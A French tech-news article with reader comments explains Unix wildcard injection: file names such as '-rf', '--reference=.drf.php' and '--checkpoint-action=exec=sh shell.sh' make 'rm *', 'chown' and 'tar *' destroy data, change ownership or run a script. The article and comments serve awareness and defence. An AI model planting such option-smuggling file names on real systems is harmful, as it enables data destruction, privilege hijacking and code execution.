Un meilleur job mieux payé ?

Deviens chef de projet, développeur, ingénieur, informaticien

Mets à jour ton profil pro

ça m'intéresse

Le joker '*' d'Unix
Une source de bien des dangers

Le , par LittleWhite, Responsable 2D/3D/Jeux
Vous connaissez très certainement le joker (wildcard), représenté sous Unix et dérivés par le caractère '*'. Ce simple caractère permet à votre terminal de compléter lui-même et de manière automatique des éléments. Plus précisément, si avez un répertoire avec trois fichiers comme suit :
toto
foo
lol

Et que j'exécute la commande suivante (pour lister des fichiers) :
ls *o*o

Sans surprise, vous obtenez :
foo toto

Le joker permet donc de substituer zéro ou plus caractère. Un ls * liste donc, tous les fichiers du dossier courant.
Un outil très utile donc, que vous avez déjà dû utiliser plusieurs fois.

Concept

Un chercheur a publié un document expliquant que cet outil, bien que très pratique est aussi une source de nombreux dangers. Voici un exemple de dossier piégé :
[root@defensecode public]# ls -al
total 20
drwxrwxr-x. 5 leon leon 4096 Oct 28 17:04 .
drwx------. 22 leon leon 4096 Oct 28 16:15 ..
drwxrwxr-x. 2 leon leon 4096 Oct 28 17:04 DIR1
drwxrwxr-x. 2 leon leon 4096 Oct 28 17:04 DIR2
drwxrwxr-x. 2 leon leon 4096 Oct 28 17:04 DIR3
-rw-rw-r--. 1 leon leon 0 Oct 28 17:03 file1.txt
-rw-rw-r--. 1 leon leon 0 Oct 28 17:03 file2.txt
-rw-rw-r--. 1 leon leon 0 Oct 28 17:03 file3.txt
-rw-rw-r--. 1 nobody nobody 0 Oct 28 16:38 -rf

Nous voyons ici, un fichier inhabituel "-rf". Si l'utilisateur effectue un rm *, pour supprimer les fichiers actuels, sans supprimer les sous-dossiers, la commande réellement exécutée, sera :
rm DIR1 DIR2 DIR3 file1.txt file2.txt file3.txt -rf

Et, tristement, il ne restera plus rien de son dossier, ni de ses sous-dossiers.

Hijack du propriétaire et mode des fichiers

Certes, détruire des fichiers, ce n'est peut être pas le plus intéressant. Mais, en cherchant bien, nous pouvons trouver beaucoup plus intéressant et c'est ce qu'a fait le chercheur pour nous : chown.
Imaginons que l'administrateur souhaite changer le propriétaire de tous les fichiers du dossier suivant en "nobody" :
drwxrwxrwx. 2 user user 4096 Oct 28 17:47 .
drwx------. 22 user user 4096 Oct 28 17:34 ..
-rw-rw-r--. 1 user user 66 Oct 28 17:36 admin.php
-rw-rw-r--. 1 user user 34 Oct 28 17:35 ado.php
-rw-rw-r--. 1 user user 80 Oct 28 17:44 config.php
-rw-rw-r--. 1 user user 187 Oct 28 17:44 db.php
-rw-rw-r--. 1 user user 201 Oct 28 17:35 download.php
-rw-r--r--. 1 leon leon 0 Oct 28 17:40 .drf.php
-rw-rw-r--. 1 user user 43 Oct 28 17:35 file1.php
-rw-rw-r--. 1 user user 56 Oct 28 17:47 footer.php
-rw-rw-r--. 1 user user 357 Oct 28 17:36 global.php
-rw-rw-r--. 1 user user 225 Oct 28 17:35 header.php
-rw-rw-r--. 1 user user 117 Oct 28 17:35 inc.php
-rw-rw-r--. 1 user user 111 Oct 28 17:38 index.php
-rw-rw-r--. 1 leon leon 0 Oct 28 17:45 --reference=.drf.php
-rw-rw----. 1 user user 66 Oct 28 17:35 password.inc.php
-rw-rw-r--. 1 user user 94 Oct 28 17:35 script.php

Il utilise la commande :
chown -R nobody:nobody *.php

et le résultat est :
drwxrwxrwx. 2 user user 4096 Oct 28 17:47 .
drwx------. 22 user user 4096 Oct 28 17:34 ..
-rw-rw-r--. 1 leon leon 66 Oct 28 17:36 admin.php
-rw-rw-r--. 1 leon leon 34 Oct 28 17:35 ado.php
-rw-rw-r--. 1 leon leon 80 Oct 28 17:44 config.php
-rw-rw-r--. 1 leon leon 187 Oct 28 17:44 db.php
-rw-rw-r--. 1 leon leon 201 Oct 28 17:35 download.php
-rw-r--r--. 1 leon leon 0 Oct 28 17:40 .drf.php
-rw-rw-r--. 1 leon leon 43 Oct 28 17:35 file1.php
-rw-rw-r--. 1 leon leon 56 Oct 28 17:47 footer.php
-rw-rw-r--. 1 leon leon 357 Oct 28 17:36 global.php
-rw-rw-r--. 1 leon leon 225 Oct 28 17:35 header.php
-rw-rw-r--. 1 leon leon 117 Oct 28 17:35 inc.php
-rw-rw-r--. 1 leon leon 111 Oct 28 17:38 index.php
-rw-rw-r--. 1 leon leon 0 Oct 28 17:45 --reference=.drf.php
-rw-rw----. 1 leon leon 66 Oct 28 17:35 password.inc.php
-rw-rw-r--. 1 leon leon 94 Oct 28 17:35 script.php

Comme vous pouvez le voir, tous les fichiers appartiennent maintenant à leon. Comme dans l'exemple précédent, la commande a traité le fichier --reference=.drf.php comme une option, option permettant de dire d'utiliser le propriétaire et le groupe d'un fichier, en place d'utiliser la notation PROPRIÉTAIRE:GROUPE.
Pire, avec un lien symbolique menant au dossier /etc/shadow, le propriétaire du dossier système aurait pu être modifié lui aussi.

Cette astuce peut être aussi utilisée avec chmod et les modifications du mode des fichiers.

Exécution de code arbitraire

Il est possible d'aller encore plus loin avec cette astuce. Cette fois, l'outil cible est tar (compression de fichiers) et son option :
--checkpoint[=NUMBER]
display progress messages every NUMBERth record (default 10)

--checkpoint-action=ACTION
execute ACTION on each checkpoint

Voici le contenu du dossier piégé :
drwxrwxrwx. 2 user user 4096 Oct 28 19:34 .
drwx------. 24 user user 4096 Oct 28 18:32 ..
-rw-rw-r--. 1 user user 20480 Oct 28 19:13 admin.php
-rw-rw-r--. 1 user user 34 Oct 28 17:47 ado.php
-rw-r--r--. 1 leon leon 0 Oct 28 19:19 --checkpoint=1
-rw-r--r--. 1 leon leon 0 Oct 28 19:17 --checkpoint-action=exec=sh shell.sh
-rw-rw-r--. 1 user user 187 Oct 28 17:44 db.php
-rw-rw-r--. 1 user user 201 Oct 28 17:43 download.php
-rw-rw-r--. 1 user user 43 Oct 28 17:35 file1.php
-rw-rw-r--. 1 user user 56 Oct 28 17:47 footer.php
-rw-rw-r--. 1 user user 357 Oct 28 17:36 global.php
-rw-rw-r--. 1 user user 225 Oct 28 17:37 header.php
-rw-rw-r--. 1 user user 117 Oct 28 17:36 inc.php
-rw-rw-r--. 1 user user 111 Oct 28 17:38 index.php
-rw-rw-r--. 1 user user 94 Oct 28 17:38 script.php
-rwxr-xr-x. 1 leon leon 12 Oct 28 19:17 shell.sh

Et la commande utilisée :
tar cf archive.tar *

Vous l'avez deviné, shell.sh sera exécuté à l'insu de l'utilisateur lançant la compression.

Il est possible de faire la même chose avec rsync un autre outil très utilisé et l'option -e.

Ces astuces ne sont pas nouvelles et elles existent depuis plus de vingts ans. Ce n'est pas un bogue et comme toujours, il est du ressort de l'administrateur de faire très attention à ce qu'il exécute et le contenu des dossiers.

Votre opinion

Connaissiez-vous ces astuces ? Comment les avez-vous apprises ?
Avez-vous déjà rencontré ce genre de pièges avec le joker ?
Comment pouvons-nous nous en protéger ?

Source

Back To The Future: Unix Wildcards Gone Wild


Vous avez aimé cette actualité ? Alors partagez-la avec vos amis en cliquant sur les boutons ci-dessous :


 Poster une réponse

Avatar de laerne laerne - Membre éclairé http://www.developpez.com
le 07/07/2014 à 14:16
Bon je m'inquiète pas trop pour une utilisation humaine, il faut toujours faire un ls avant de faire un opération qui peut modifier les fichiers, simplement car un wildcard peut être plus permissif que pensé.
Ça s'apparente plus à des failles de sécurité pour les script shell selon moi. Maintenant je retiens qu'il faut toujours utiliser l'option -- devant chanque variable dont le contenu peu être donné par un utilisateur. L'option -- désactive la lecture d'option.

Code : Sélectionner tout
1
2
rm -- $1 
chmod a+X -- *
Avatar de abriotde abriotde - Membre confirmé http://www.developpez.com
le 07/07/2014 à 17:42
Ce n'est pas le jocker qui soit spécialement une source d'erreur mais plus l'humain. L'éternel dilem est : plus l'on simplifie plus l'erreur porte a conséquence, mais si l'on ne simplifie pas la gestion est lourde.

Il y a l’excès qui consiste a demander confirmation de la confirmation de la validation de la suppression de chaque fichiers.

A l'inverse la tendance des barbus d'Unix est de simplifier a l’extrême dans un souci d'efficacité mais il vaut mieux bien réfléchir avant, avoir des sauvegardes, tester... et utiliser des conventions simple : pas de caractère tordus dans les nom de fichiers.

Les commande Linux les plus courantes sont très courtes : "rm","ls","cd","df","du" et peuvent donc facilement être taper par inadvertance / réflexe.

Une autre cause de souci est que le "*" se situe a côté de la touche "entrer"... ainsi on peut vouloir taper "rm monfichier[enter]" et finalement "rm monfichier *" car la tabulation a automatiquement rajouter l'espace. Dans un réflexe voyant que la commande n'est pas passer on tape "Entrer" a nouveau. effaçant tous les fichiers.
Avatar de Juda-Priest Juda-Priest - Membre actif http://www.developpez.com
le 08/07/2014 à 7:07
Une bonne habitude à prendre est de toujours exécuter avec l'option --dry-run ou --simulate quand elles sont disponible. Pour le rm, quelque chose du genre $echo rm *.txt devrait marcher, ou la solution maniaque avec -i.
Avatar de esired esired - Membre averti http://www.developpez.com
le 08/07/2014 à 21:21
J'ai l'impression que les risques décrits ici ne concernent que les systèmes où les utilisateurs ignorent (délibérément ou non) la règle de nommage des fichiers en informatique. Un nom de fichier ne doit contenir que des lettres, des chiffres, le blanc souligné "_" et le point. Il doit commencer par une lettre, un point, ou le blanc souligné. Le tiret "-" n'est accepté que s'il est encadré par des caractères autorisés, il ne peut être ni en début, ni en fin de fichier.,
Aujourd'hui, avec la tolérance des SE, peu de gens respectent encore cette règle et je vois même des informaticiens mettre des espaces dans des noms de fichiers
Avatar de vanquish vanquish - Membre éclairé http://www.developpez.com
le 09/07/2014 à 10:16
un "CHERCHEUR" vient de découvrir del *
Punaise : quelle pointure !!

Sans blague : tout utilisateur régulier d'un shell Unix connais le danger du caractère *

J'ai fait peu d'Unix (oui, à l'époque Linux balbutiait), mais je n'ai pas eu besoin de faire des recherches au delà du mode d'emploi (il y en avait à l'époque) pour savoir qu'on ne doit jamais travaillé sous SU et qu'il fallait se méfier comme de la peste du caractère * (dangereusement placé à coté de la touche "entrée" comme cela a été écrit plus haut).
Avatar de LittleWhite LittleWhite - Responsable 2D/3D/Jeux http://www.developpez.com
le 09/07/2014 à 10:32
La plainte contre l'emplacement de '*', cela n'est correcte que sur les claviers français.
De plus, ici, ce n'est pas le problème de "su", ou pas. C'est le problème que des dossiers peuvent être piégés et détourner le sens des commandes exécutées. Si vous voulez piéger un utilisateur normal, cela fonctionne aussi.
Avatar de air-dex air-dex - Membre émérite http://www.developpez.com
le 09/07/2014 à 13:37
Citation Envoyé par abriotde  Voir le message
Une autre cause de souci est que le "*" se situe a côté de la touche "entrer"... ainsi on peut vouloir taper "rm monfichier[enter]" et finalement "rm monfichier *" car la tabulation a automatiquement rajouter l'espace. Dans un réflexe voyant que la commande n'est pas passer on tape "Entrer" a nouveau. effaçant tous les fichiers.

Faux. Oui '*' est à côté de la touche 'Entrée'. Je ne vais quand même pas contredire ça. Par contre quand on tape sur la touche 'Entrée' c'est le plus souvent sur le haut de la touche. Du coup si on tape un symbole par inadvertance en voulant appuyer sur 'Entrée', alors il y aura beaucoup plus de chances que celui-ci soit '$' et non '*'. Perso je n'ai pas souvenir d'avoir appuyer sur '*' par erreur au lieu d'Entrée. Par contre ça arrive très souvent pour '$'.
Avatar de Juda-Priest Juda-Priest - Membre actif http://www.developpez.com
le 09/07/2014 à 14:21
Citation Envoyé par air-dex  Voir le message
Faux. Oui '*' est à côté de la touche 'Entrée'. Je ne vais quand même pas contredire ça. Par contre quand on tape sur la touche 'Entrée' c'est le plus souvent sur le haut de la touche. Du coup si on tape un symbole par inadvertance en voulant appuyer sur 'Entrée', alors il y aura beaucoup plus de chances que celui-ci soit '$' et non '*'. Perso je n'ai pas souvenir d'avoir appuyer sur '*' par erreur au lieu d'Entrée. Par contre ça arrive très souvent pour '$'.


Moi ça m'arrive tout le temps !
Dès que je change de clavier (toujours un azerty), entre celui de la maison, du portable, du bureau, ça manque jamais je vais avoir le doigt qui va glisser
Avatar de ttornado ttornado - Membre à l'essai http://www.developpez.com
le 10/07/2014 à 10:02
Bonjour,

déjà je le savais depuis mes premiers pas à l'Université. Pas besoin d'être chercheur mais disons que l'idée de partager n'est tout de même pas mal car cela permettra à beaucoup de de le découvrir.
"On ne finit jamais d'apprendre"

P.S.: Il faudrait ajouter au passage que le joker a ses avantages et ses inconvenient et cela pas seulement sous UNIX mais en général

Merci et bonne journée à toutes et à tous

TT
Avatar de jabbounet jabbounet - Membre expert http://www.developpez.com
le 11/07/2014 à 7:39
Citation Envoyé par air-dex  Voir le message
Faux. Oui '*' est à côté de la touche 'Entrée'. Je ne vais quand même pas contredire ça. Par contre quand on tape sur la touche 'Entrée' c'est le plus souvent sur le haut de la touche. Du coup si on tape un symbole par inadvertance en voulant appuyer sur 'Entrée', alors il y aura beaucoup plus de chances que celui-ci soit '$' et non '*'. Perso je n'ai pas souvenir d'avoir appuyer sur '*' par erreur au lieu d'Entrée. Par contre ça arrive très souvent pour '$'.

moi oui , je vais contredire cela....

'*' a côté d'entrée, cela dépend du clavier et de la disposition que tu utilise.

Si l'étoile a côté de la touche entrée est réellement gênante tu as le choix de la disposition ....
je connais quelques developpeur qui utilise des qwerty (us) car les accolades et certaines touches utiles au programmeur sont mieux disposées.

Personnellement j'utilise un typematrix, et la touche entrée est centrale sur ce clavier,
http://typematrix.com/style/img/tmx-2030_features.png

Ajouté à cela j'ai une disposition BÉPO (cf lien dans ma signature)

Concernant les dispositions il en existe une multitude et toutes n'ont pas l'étoile côté d'entrée
https://fr.wikipedia.org/wiki/Dispos..._informatiques

Concernant l'étoile a proprement parler, cela fait partie des outils du système et comme tout outils il faut apprendre a s'en servir.
je ne pense pas que je monterai dans un avion si je sais que les commandes sont laissé a quelqu'un qui ne sais pas piloter par exemple.
Offres d'emploi IT
Expert sécurité en audit d'applications (H/F)
Société Générale - Ile de France - Val-de-Marne
Développeur - software craftsman (H/F)
Société Générale - Ile de France - Hauts-de-Seine
Analyste SI-métier (H/F)
Société Générale - Ile de France - Val-de-Marne

Voir plus d'offres Voir la carte des offres IT
Contacter le responsable de la rubrique Sécurité